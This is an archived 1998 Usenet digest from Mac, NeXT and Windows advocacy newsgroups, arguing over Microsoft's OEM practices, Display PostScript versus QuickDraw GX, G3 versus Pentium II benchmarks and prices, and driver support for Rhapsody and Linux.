They are responding to Microsoft's contention that the reason for all
their "anti-comptetive behavior" is to ensure that they have control
over this suddenly-important initial startup boot screen. It's more
legal bullshit. Historically, OEMs have always been free to provide a
look and feel for their desktops. They put icons up, they run demos,
they enable enhancements, and they are free to do so because Microsoft
does not make the computer, just the OS software. Since this became
conventional, Microsoft has realized that the way to greater profits for
them is to convince everybody that it is the OS that matters, not the
hardware. Actually, it is the hardware that matters more. Only in a
disfunctional market, where there is no competition for the OS, does it
matter which OS you have. Only after the application markets only
support a single OS does anybody care about the OS, because all people
_really_ care about are the applications.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 28 May 1998 18:11:03 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <3587a72f.21054979@news.supernews.com>
References: <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7> <6k7k07$cs1$1@news.ox.ac.uk> <35779ed6.7238238@news.supernews.com> <6khn2t$o63$1@news.ox.ac.uk>
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"David McCabe" <david.mccabe@balliol.oxford.ac.uk>, on Wed, 27 May 1998
>
>So you haven't already? And no-one else has? Is *everyone* making these
>accusations doing so on gut feeling and not on technical experience?
Hate to be the one to burst your bubble, David (not), but "technical
experience" _is_ "gut feeling". You think we have time for scientific
accuracy? Do you *think* that we have access to any of the source code,
and the time to go through it to prove something we _already_ know to be
a _fact_. This is not supposition, just because we can't cite you
chapter and verse...
>
>If someone genuinely has information on interfaces for which information is
>not freely accessible, components that are an established part of the OS,
>which Microsoft apps use, I'd be very interested.
I've got an easier approach. Go think up an app with which you wish to
compete. Then go work with Microsoft to develop your app for Windows.
Then _you'll_ be able to tell _us_, after a while, what exactly
Microsoft is doing to make their information freely accessible, so that
you can compete with their internal apps group. Hell, if we're wrong,
and MS actually gives you access to code and documentation, doesn't
steal your idea and co-op it in their vaporware, and doesn't take any
other anti-competitive actions, you might even make a bundle selling the
app when you're done. A lot less trouble on our end, yes, but I already
_know_ that this is true; you're the one that would be "very
interested".
>>If you'd rather not,
>I'd rather not, no. I'm making my argument free of charge, with source
>freely available (c.f. Microsoft Developer Network et cetera). If you wish
>to charge for a source licence for your opinion, that's your business.
>
>> you should be able to substantiate the lack of
>>equal access to the OS for outside apps providers,
>
>What lack of equal access? No-one's proved there is any yet.
You really think that the Microsoft Developer Network is all the Word
and Excel developers have to work with?
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: Axel Habermann <kiwi@saljut.fb10.tu-berlin.de>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now? (Was Re: End of WYSIWYG
Date: 28 May 1998 18:38:35 GMT
Organization: Technical University Berlin, Germany
Message-ID: <6kkavb$iuq$2@mamenchi.zrz.TU-Berlin.DE>
References: <6kca7d$d5n$7@ironhorse.plsys.co.uk> <B18F17D4-38174@206.165.43.100>
In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
: mmalcolm crawford <malcolm@plsys.co.uk> said:
: [using GX instead of DPS from the start of the NeXT-purchase]
: >Yes, and what's different now?
: >re the *huge* task (which you note will take Apple one and a half years):
: >
: Had they decided to use GX from the beginning, or at least, as a backup
: strategy, they wouldn't have had to wait this long to provide a workable
: solution. For that matter, they could have been working on an OOP
: replacement for GX for Yellow Box and Carbon as soon as the ink was dry on
: the purchase, using the internal engine that they are using now, anyway,
: without taking the time to try to enhance DPS for SMP and so on.
I remember someone from Apple saying that NeXT was moving away from
DPS even before the purchase by Apple. I don't think they wasted any
time. It is a huge project, especially given the aim to keep the imaging
model of postscript.
--
Axel Habermann
kiwi@buran.fb10.tu-berlin.de Fon:+49 30 45478986
Die Dateien, in denen die Programmdokumentation enthalten ist,
haben normalerweise die Endung ".m"
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 28 May 1998 14:08:49 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kjr5h$9da$1@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
<PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net>
<35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67>
<6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net>
<6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net>
<6k44vt$q7t$1@ns3.vrx.net> <3565EAF0.282C4C33@nstar.net>
<6kbd9q$jkc$2@ns3.vrx.net> <3569969D.5E99D336@nstar.net>
<6kbo5o$qt5$2@ns3.vrx.net> <3569CEFA.836979BC@nstar.net>
<6kdarj$fc03@odie.mcleod.net> <6kk93h$a01$1@news10.ispnews.com>
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Cc: garyseven@geocities.com
In <6kk93h$a01$1@news10.ispnews.com> "William Whitehouse" claimed:
> had at least an implied amount of IBM motherhood, it was Lotus apps that
> ruled what PC desktop market there was back then.
More specifically no one company ruled the applications space. WordPerfect
was the WP (after dispatching WordStar), dBASE the dB, Lotus 123 the
spreadsheet. There were no real presentation packages (at least not on the
PC) or outliners or such, although I suppose Harvard Graphics is in there
somewhere.
Now it's different, now it's MS Word, MS Access (and FileMaker Pro) and MS
Excel.
> Had MS thought then the way you're thinking now, MS would not be even
> close to being what it is today.
In what respect?
> And I argued for Windows 3.0 when most of the IT consultants I knew
> were dogmatically arguing for the continued superiority of the Mac
platform.
At the time though, it's still true. I never _ever_ remember the Mac being
taken seriously.
> In short, the idea that the dominant solution for the last five years
> will be the dominant solution five years from now has _never_ carried the
> day.
Yup. In the same vein, the "big name" products of five years ago are no
longer. The time seems to be stretching out a bit, but you never see
articles about "GREAT NEW WORD PRO!" any more, and soon people will forget
about browsers too.
Maury
From: kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 28 May 1998 19:10:44 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <6kkcrk$c1k$1@geraldo.cc.utexas.edu>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu> <aa829-2205981611290001@port17.dialb2.gain-ny.com> <6kb2si$ele$1@geraldo.cc.utexas.edu> <see-below-2505980150360001@209.24.240.99> <1d9ldn2.wey5o41nx46nwN@carina25.wco.com> <6kg9pc$h5j$1@geraldo.cc.utexas.edu> <6khio0$dr2$1@news.spacelab.net> <see-below-2705981600240001@209.24.240.199> <6kjc41$8od$1@news.cs.tu-berlin.de>
Marcel Weiher (marcel@cs.tu-berlin.de) wrote:
: see-below@not-my-address.com (Matthew Vaughan) writes:
: >In article <6khio0$dr2$1@news.spacelab.net>, "Charles W. Swiger"
: >Also, while the DSP may have been much faster than a 68k CPU, would it
: >really be that much faster than PPC?
: Nope. IIRC, it was running at 10Mhz and could a 24x24 bit integer
: multiply-add in a single cycle. 300 MHz G3 blows it out of the
: water easily. Another point about the DSP, though, is that it
: was single-tasking w/o VM, so it could be relied on to handle
: real time tasks.
Keep in mind though, that if DSPs had become popular, the one included with
the G3 Macs would have been a couple orders of magnitude faster than the
old 56001 in the NeXT box. A comparison of old vs. new is not valid.
......................................................................
: Kurt D. Bollacker University of Texas at Austin :
: kdb@pine.ece.utexas.edu P.O. Box 8566, Austin, TX 78713 :
:....................................................................:
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 28 May 1998 19:16:06 GMT
Message-ID: <6kkd5m$mjn$1@newsfep4.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net>
<6ki1sh$qcr$1@newsfep3.sprintmail.com> <joe.ragosta-2705982038040001@elk54.dol.net>
<6kifon$4ed$1@newsfep3.sprintmail.com> <joe.ragosta-2805981143250001@wil92.dol.net>
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Cc: joe.ragosta@dol.net
In <joe.ragosta-2805981143250001@wil92.dol.net> Joe Ragosta wrote:
> In article <6kifon$4ed$1@newsfep3.sprintmail.com>, macghod@concentric.net
wrote:
>
> > Almost all developers used codewarrior. Eric bennet has the bytemark
for
> > codewarrior, the int score is 5.56, the fp is 4.77. THis is using
> > codewarrior professional. This isnt even for a g3 233, its for a g3 266.
> > A p2 300 using a COMMERCIALLY AVAILABLE compiler (MS visual c++) gets
5.69
> > for int, and 4.82 for fp. Their are two commercial compilers for the
mac,
> > symantec and codewarrior. If symantec gives higher scores, I will gladly
> > accept that. A beta of motorola, which motorola wont even ever ship does
not
> > count.
> >
> > That is one bytemark that shows the p2 300 to be faster than a g3 *266*!.
> > Given that, I think the statement that a g3 233 is comparable to a p2 300
is
> > quite fair
>
> Of course you think it's fair. You chose the slowest PPC result you could
> find and compare it to the fastest PII result. Of course, no one else in
> the universe would consider it fair, but you're free to do so if you wish.
You are full of horse doo doo and you know it. Codewarrior is used by the
vast majority of developers. What are the byte scores using a symantec
compiler Joe? Come on, you say cw is "the slowest", so you should be fine
with symantec. Instead, you rely on a compiler, moto 3.0 dr that will never
be used by any programmers because it is not even available to them
And saying a MICROSOFT compiler is the fastest is so much bull it is funny.
How does egcs under linux do for a p2 joe? SImply put Joe, you LIED. What
else is new.
And your web page is a laugh. A good part of it is office apps that dont
show the g3 233 being faster than a p2 300, and your saying how the tests
arent good. And photoshop tests dont help much either!!
From your web page, p2 300 against g3 266 (not even a 233!!)
p2 300
5.9 5.2 .5.8 4.2
5.3 4.7 4.9 4.8
So, the g3 266 is about %10 faster than a p2 300. If it compared it to a
g3 233, it would probably be the same. SO just from your page, we get the
following
- p2 300 is FASTER than g3 233 in office apps, such as excel, word, etc
(this from your own page!!)
- p2 300 is about the same speed as g3 233 in photoshop tests
> > > The majority of real life apps (with Quake being the major exception)
show
> > > the G3 to be much faster.
> >
> > I doubt this.
>
> Doubt all you want. Read my web page for comparisons.
I have already covered these lies by you, see above
> > > > > True, the G3 only comes with 32MB standard, but you can add more
RAM
> > for
> > > > > pretty cheap.
> > > >
> > > > Not that cheap, $100, and you still have to put it in. If you dont
want
> > your
> > > > warranty voided thats another $100 to have a apple specialized
whatever
> > put
> > > > it in.
> > >
> > > Try www.thechipmerchant.com
> > >
> > > 32 MB for $43 and 64 MB for $88.
> > >
> > >
> > > > > So for $1700, I can get a G3 PowerMac that is up to twice as fast
as a
> > PC
> > > > > that costs $1300.
> > > >
> > > > No, actually from the apple store its over $2000. And it aint twice
as
> > fast.
> > >
> > > Depends on which one. The G3/233 is $1600 at the Apple Store.
> >
> > Joe, why do you lie? YOu know darned well it is $1699. When I went to
the
> > store and configured it with the extra vram, ram, and modem it came out
to
> > over $2000. As a minitower it came out to over $2200
>
> OK. It's $1700. But as I pointed out, you're figuring more than twice the
> real cost for RAM.
Joe, go to the apple store and build the g3 to the exact same specs, and then
come back and post your results. Or, use any other place that builds to
order a g3 233.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 28 May 1998 09:36:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B192E0B6-44EE7@206.165.43.40>
References: <6kjhrh$2fh$1@bartlet.df.lth.se>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Christian Brunschen <cb@bartlet.df.lth.se> said:
>Of course, GX _does not_ handle 3D in any general way.
>
It apparently handles it to the same degree as Freehand and Illustrator do
when you apply 3D perspective to Freehand/Illustrator shapes using the
built-in tools.
>It is interesting to see that Lawson English condemns DPS for using 'only'
>a 3x2 matrix (which gives us access to all affine transforms in 2D space)
>rather than a full 3x3 matrix (which would allow arbitrary 2D transforms).
>And at the same time he heralds GX for supporting '3D'.
It supports the application of 3D perspective to text and graphics as I've
made clear to you several times -just as Freehand and Illustrator do in
their latest versions.
Fact is, to
>support any useful subset of 3D transforms, you need a 4x3 matrix - much
>like the 3x2 matrix used for 2D in DPS - and to support arbitrary 3D
>transforms you need a full 4x4 matrix. (But those are rarely used, afaik -
>for much the same reasns why 3x3 matrices are not used in most 2d
>graphics
>systems.)
Except the most expensive DTP 2D vector graphics packages. They may or may
not be using a 4x3 matrix, but what I've seen suggests that a 3x3 matrix is
being used.
>
>So, GX supports _far less_ '3D' features than DPS supports 2D; yet for DPS
>this is bad, and for GX this is good.
>
GX supports the same 2D transforms as DPS *and* supports 3D perspective
using the transform x' = x/(ux + vy +1), y' = y/(ux + vy +1).
>This has been pointed out to Lawson before, yet he persists in his claims.
>
As I have pointed out to you and others many times, the GX 3x3 transform
provides a 3D *perspective*, not a full 3D transformation. That this is
useful for DTP professionals can be seen by a the fact that FreeHand 8.0
provides a similar capability. However, once the 3D perspective has been
applied to text in Freehand 8.0, it is no longer editable. It is STILL
editable in a GX application because GX was designed from the ground up to
know about 3D perspective, even in text. This is useful, or have you
forgotten the rule of thumb about avoiding modes in CHI?
Of course, you can simulate most (if not all) 3D transformations using the
3x3 matrix, but they will result in some distortion. There is an optional
library available with GX that allows one to input a camera position and
obtain a GX transform that would approximate the appearance of a true 3D
object viewed from that camera position. I haven't used this library yet,
so I don't know how pleasant the resulting transforms appear.
EVERY non-professional DTP person that I've spoken with on this matter who
does any more text-processing than business letters or Quicken (e.g. for
posters and personal correspondance), has expressed interest in a low-cost
text-handling graphics application that can provide even an approximate 3D
perspective to what they are typing and printing.
And the 3D perspective of GX is a TRUE 3D perspective if your eye is
pressed up to the computer screen, and distorted otherwise. But is the
"advanced feature" of Freehand 8.0 any more accurate?
Does anyone care in this case?
The fact that Apple customers have expressed interest in 3D perspective
applied to editable text while Apple engineers (and NeXT developers) claim
that no-one wants it in the base graphics system, suggests to me that NeXT
developers and the Apple engineers that came from NeXT do NOT understand
the needs and wants of the current customer-base of Apple Computer.
This is exceedingly unfortunate, IMHO.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Thu, 28 May 1998 10:02:15 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2805981002150001@dante.eng.uci.edu>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <356d6a76.0@206.25.228.5>
In article <356d6a76.0@206.25.228.5>, jkheit@xtdl.com wrote:
>Apple just doesn't compete on a a price performance basis well,
>and furthermore reacts like a glacier in an ice age on price
>changes/drops in the industry; all applogist koolaid rationalizations
>notwithstanding.
I think Apple is doing reasonable well in education, which they see as a
critical market. I can get a G3 233 AIO for $1499. It's a nice machine for
an office or classroom and has some unique features for a classroom
environment. It's quite accomodating on space (which is an issue for many
of us) and is a breeze to set up. Different needs for different markets, I
suppose.
While this doesn't help the rest of the world, it certainly makes it
easier for many of us in .edu to buy Macs.
-Bob Cassidy
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Thu, 28 May 1998 10:20:03 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au>
In article <6kiqjf$q38$1@nargun.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
>
> So where can I buy a 300Mhz G3 for $1600 ?
Club Mac
233MHz G3 desktop machine. 32 Megs of RAM (and your choice of either another
32 megs of RAM or VPC w Win95 for free), 24X CDROM, 4 GB. -$1599
This machine also comes bundled with either HomePage 3.0 or Object Dancer,
whichever you prefer. $1899 buys you the same package with a 266 MHz G3
1-800-260-5109
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Thu, 28 May 1998 10:21:57 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2805981021570001@sf-usr1-44-172.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kikm0$5vs@nntp02.primenet.com>
In article <6kikm0$5vs@nntp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> George Graves <gmgraves@slip.net> wrote:
> : High prices. $1600 will buy you a G3 Mac which is MUCH faster than a
> : 400 MHz PII (currently the fastest there is) How much does a 400 MHz
> : PII cost? $2600-$3000? High priced Macs indeed.
>
> PII 400Mhz
> 100 MHz System Bus
> AGP Graphics card with 8MB SDRAM and 3D acceleration
> 64MB RAM
> 6.4 GB HD,
> DVD w/ MPEG II decoder
> etc.
>
> $1900
>
> www.boldata.com
>
> John
That still ain't $1600!
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Thu, 28 May 1998 10:24:03 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2805981024030001@sf-usr1-44-172.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kikm0$5vs@nntp02.primenet.com> <356CE038.5F17@globaldialog.com>
In article <356CE038.5F17@globaldialog.com>, webnik@globaldialog.com wrote:
> John Jensen wrote:
> >
> > George Graves <gmgraves@slip.net> wrote:
> > : High prices. $1600 will buy you a G3 Mac which is MUCH faster than a
> > : 400 MHz PII (currently the fastest there is) How much does a 400 MHz
> > : PII cost? $2600-$3000? High priced Macs indeed.
> >
>
>
> Here's an NEC system with a NEC 17" Monitor for $2295
>
> 400MHz Intel Pentium® II processor.
> 512KB L2 Pipeline Burst Cache.
> 64MB (2-32MB) SDRAM.
> 4.3GB Ultra ATA Hard Drive.
> 32X Maximum Variable-Speed CD-ROM Drive.
> 3.5" Diskette Drive.
> U.S. Robotics® x2™ 56Kbps Winmodem™ (see
> Legal Notice below for Important
> Qualifications).
> Diamond Viper® AGP, 4MB SGRAM Graphics
> Card.
> Integrated PCI Wavetable Audio.
> Altec Lansing® ACS-90 Speakers.
> 2 Universal Serial Bus (USB) Ports.
> NEC Palmrest Keyboard.
> Microphone.
> Microsoft® IntelliMouse®.
> Microsoft® Windows® 95.
> Microsoft® Home Essentials™ 98 (includes:
> Word 97, Works 4.5, Encarta® 98, Greetings
> Workshop 2.0, Internet Explorer, The
> Entertainment Pack -- Puzzle Collection,
> bundled
> with Windows® 95 only).
> NEC C700™ 17" Color Monitor (16" viewable
> image size, .27dp).
> Three-Year Limited Warranty.
> 1-Year On-site Service.
At todays prices for monitors, The $1600 Mac + 17inch monitor =<$2100
The Mac is still cheaper.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Thu, 28 May 1998 10:43:55 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2805981043560001@sf-usr1-44-172.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <6kiogb$9dn$1@newsfep1.sprintmail.com>
In article <6kiogb$9dn$1@newsfep1.sprintmail.com>, macghod@concentric.net wrote:
>
> Oh please, I have nothing against Apple. I even credit them with having the
> best os in the world, aka openstep / rhapsody. THe fact that apple charges
> twice as much for a g3 233 as for a p2 300 that is about comparable speed
> wise, HARDLY causes "bitter hatred and venemous disgust"
I'm sorry. You are just plain wrong here. Irrespective of what your Code
Warrior benchmarks are (I understand that they are the slowest in the
industry) I've done the tests. I have timed a bunch of different tasks on
both a 400 MHz PII and a 266 MHz G3. In every test the G3 finished much
more than twice as quickly; and this particular PII had more RAM than
the G3 I was using as well. Not very scientific, to be sure, but its what
I believe people who use a G3 Mac CAN expect to see in real world
situations.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Thu, 28 May 1998 10:58:13 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2805981058140001@sf-usr1-44-172.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <356ce269.0@206.25.228.5>
In article <356ce269.0@206.25.228.5>, jkheit@xtdl.com wrote:
> arman.afagh@med.nyu.eduNOSPAM (Arman Afagh) wrote:
> > After reading this post, and macghod's (and other's) subsequent
> > replies, am I the only one who thinks that macghod is full of
> > shit and has no intention of buying a new computer. Even if he
> > is, he made no consideration of the Mac. He's set up this post
> > as a straw man so that he can shoot down the Mac as being more
> > expensive than a pc of lesser quality. Furthermore, one of his
> > big points seems to be that the Mac has less RAM. Well, Apple
> > is offering the 32 MB of RAM for free. Most of the other
> > differences are hardly significant. Macghod has no intention of
> > even considering buying an Apple-produced machine (given how much
> > he's expounded his bitter hatred and venemous disgust for Apple
> > in this thread and others), and this thread is a complete straw
> > man.
>
> Well, I sure as heck don't know what his or other's intentions are,
> but I do know one thing.
I know one thing too. PCheads will always deny that Macs are faster
no matter how many times they are told, no matter how many tests
prove it. They are incapable of believing that Intel/MS has let them
down, and that while they snuggled up in their warm cocoon of 90%+
market share, the tortoise won the race (or at least this leg of it).
No wonder the Intel "suits" are called bunny suits.
The mac still costs a bunch more on a
> price/performance basis than other intel offerings.
That is simply wrong. And even if it were true, what of it?
That argument held water 5-10 years ago when we were speaking
of deltas in the THOUSANDS of dollars, but today, we're talking
pennies. Isn't your time worth anything to you? Don't you want to
be as productive on your machine as possible? Wouldn't a 10-15%
increase in your personal productivity be worth a 3-5% difference
in price. Isn't the Mac's lower cost of ownership over time worth
something? Do you enjoy spending an entire week trying to get a
video capture board to work (as I recently witnessed), or would
it be worth something just to be able to pop it in and turn it on?
And I still
> see that there will always be mac apologists that will stretch
> and make any kind of willfully blind excuses to explain why what
> is a blatant reality only *seems* that way to dumb people who
> haven't seen the light.
Well, which is worse; a Mac apologis, or a Wintel ostrich? One
who touts the Mac advantage, or one who blindly refuses to
face the reality that his choice of platform is a poor performing
difficult to use, antiquated mess quickly on its way to the museum?
George Graves
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Thu, 28 May 1998 09:50:09 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2805980950090001@dante.eng.uci.edu>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com> <6kg0hn$689$1@news.digifix.com> <356B9C6F.434C2D58@nstar.net> <6kgapb$a5t$1@news.digifix.com> <356C6096.497E4DBD@nstar.net> <6khtaq$ril$1@news.digifix.com> <rmcassid-2705981426480001@dante.eng.uci.edu> <6kilej$7a6$1@news.digifix.com> <see-below-2705982322330001@209.24.241.137>
In article <see-below-2705982322330001@209.24.241.137>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
>In article <6kilej$7a6$1@news.digifix.com>, sanguish@digifix.com (Scott
>Anguish) wrote:
>
>> On 05/27/98, Robert Cassidy wrote:
>>
>> >What about non-MacOS hardware developers? Right now there are *tons*
>> of
>> >PCI cards that I can't just shove in my G3 box because of a lack of
>> >drivers. USB will only add to that.
>
>I'm not sure why. How would that be worse than using a completely
>different standard? At least this way there's a chance of some crossover
>from PC vendors. I think there are way, way more graphics cards available
>now for this reason. I'm sure there never would have been NuBus 3Dfx
>cards, or Matrox, or Number Nine, or probably even ATI. Same thing's true
>with fast SCSI controllers. Even though some don't work on Macs, I think
>there are more than what there would be if we didn't have PCI.
Oh, I agree 100%. But there needs to be a *lot* of developer evangelizing
done somewhere still. It was almost easier to take the lack of access to a
card back when we had NuBus becuase of the amount of work to get an ISA or
PCI vendor to support us. But now that it's just a bit of software... man,
you gotta wonder if the Mac isn't the end of the world. Linux gets better
driver support than the Mac does. It makes it very hard to justify Macs in
an organization when such little things like drivers get in the way.
I'd also like to _once_ again complement Adaptec for providing the most
outstanding tech support I have ever experienced after I bought my 2940
card and started to experience problems. A new Mac vendor and they didn't
treat me like a leper. In fact, they sought me out to make sure everything
was working right. Thank you.
But if the card isn't needed at
>startup (for instance a 3Dfx card), all you need is the software driver.
>You can plug any old 3Dfx card into a Mac and it will work fine with the
>drivers that ship with Quake or other games.
Good point. PCI cards that handle video and storage are most important to
me, so I tend to think of virtually all PCI cards having this issue.
-Bob Cassidy
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Thu, 28 May 1998 16:49:09 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <356D9585.68D51820@nstar.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg>
<6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com>
<6kgmc8$nc0$5@ns3.vrx.net> <356C618E.FE07AE3A@nstar.net>
<6kh7u9$8d6$1@ns3.vrx.net> <356CF354.1C23099A@nstar.net> <6kj9eu$q9p$2@ns3.vrx.net>
Mime-Version: 1.0
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NNTP-Posting-Date: 28 May 1998 16:54:05 GMT
Maury Markowitz wrote:
[cut]
> > I do know, in fact, many people who will not use Linux because of its
> > lack of drivers.
>
> That's NOT the point. The point is whether or not Linux is popular in
> spite of this. It is. End of argument.
Wow, amazing that you should say this two posts after I said it myself.
By the way, that is *not* the point. The point is that lack of drivers
has a significant net negative effect on popularity and userbase growth.
Whether or not the OS is popular in spite of this popularity drain has
nothing to do with the current argument.
> > This is another easy one. The demographic that uses Linux can tolerate
> > lack of drivers more readily than the Rhapsody target market.
>
> I am specifically talking about marketting Rhapsody for Intel to EXACTLY
> the same market that Linux is used in today. I have stated this on MANY
> occasions.
Then I withdraw my agreement with your remarks on those previous
occasions. If you think Linux people will switch to an OS whose
proponents don't care about driver support, I'm on the other side.
Sorry.
[cut]
> > Apart from you and me and the others who frequent this newsgroup, can
> > you name five personal non-work-related colleagues who can decipher
> > those acronyms? I can't.
>
> That's a marketting problem, not a driver related one.
No, it's not just a marketing problem, and by the way, what does the
paragraph above have to do with drivers? If you bother to explore the
context of the posted message, you'll see that drivers aren't the issue.
Quit squirming, hold still! "YB, EOF, and WO" aren't going to get
anybody's rocks off *DESPITE* the lack of drivers.
That was the issue.
MJP
From: "William Whitehouse" <garyseven@geocities.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Thu, 28 May 1998 14:51:23 -0500
Organization: The Voodoo Assassination Project
Message-ID: <6kkeug$j55$1@news10.ispnews.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM>
<6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net>
<356a268e.0@news.camtech.net.au>
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NNTP-Posting-Date: 28 May 1998 19:46:24 GMT
In article <356a268e.0@news.camtech.net.au>, "timothyp@tne.net.au"
<timothyp@tne.net.au> wrote:
>In article <356263EB.E37C0897@nstar.net> , "Michael J. Peck" <mjpeck@nstar.net>
>wrote:
>
